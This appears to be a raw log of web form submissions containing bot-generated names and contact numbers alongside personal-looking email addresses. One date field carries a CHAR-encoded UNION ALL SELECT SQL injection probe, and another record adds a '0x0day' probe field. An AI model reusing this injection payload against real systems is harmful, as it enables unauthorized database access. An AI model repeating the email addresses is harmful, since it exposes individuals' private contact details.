email => String: tara.beck167092@yahoo.com

name => String: OXXMnNuhrlu

contact_number => String: mflHnYWDfpgj

email => String: keilagrant48@gmail.com

name => String: upbVUKCvq

contact_number => String: ONvwKTtTBT

email => String: keilagrant48@gmail.com

name => String: FPtuumSLyXqsjPy

0x => Array: [
    "0x0day"
]

contact_number => String: vPWUocxR

email => String: deltacarpenterf22@gmail.com

name => String: FDPRqSQropw

contact_number => String: IywHdwvZqL

email => String: deltacarpenterf22@gmail.com

name => String: svupHaeEJEG

date => String: 2024-11-06%' UNION ALL SELECT 11,CHAR(113)||CHAR(75,101,86,69,115,83,113,89,100,122,121,102,83,83,113,86,84,112,100,103,69,75,80,117,88,109,83,105,89,116,110,120,76,84,73,109,115,100,83,107)||CHAR(113,118,98,98,113),11-- wPIB

contact_number => String: qIthxAZGORlKG

email => String: rhaasbw@gmail.com

name => String: CzFONbgTNmUHwM

contact_number => String: ksJTZdFTsAb

email => String: tiblicorters1979@yahoo.com

name => String: tFubMiwlMlRRNFi

contact_number => String: SsYrEUVQWd

email => String: tiblicorters1979@yahoo.com

name => String: tJxuOmURXE

contact_number => String: HIOClWNaBNCY

email => String: tuiroteca1978@yahoo.com

name => String: JPWEDkmf

contact_number => String: zwWjRzDfDtZ

email => String: tuiroteca1978@yahoo.com

name => String: WkdNygmbsE

contact_number => String: nFXqNbDapYOZb

email => String: molovinump1984@yahoo.com

name => String: tgWfZbgPNyBemz

contact_number => String: BEiBrnqTd

email => String: molovinump1984@yahoo.com

name => String: chiQyoNyrlrk

contact_number => String: LAuuiLyQcIXg

email => String: mirandahaimev2003@gmail.com

name => String: mXgiCRbGis

contact_number => String: uaMiXSemaidC

email => String: mirandahaimev2003@gmail.com

name => String: gceOeLGOkv

contact_number => String: TZICZXdjWN

email => String: tirnanrios96@gmail.com

name => String: jRFXbMiVRln

contact_number => String: OIYsUpwkBOGZN

email => String: tirnanrios96@gmail.com

name => String: bISxMqowtNF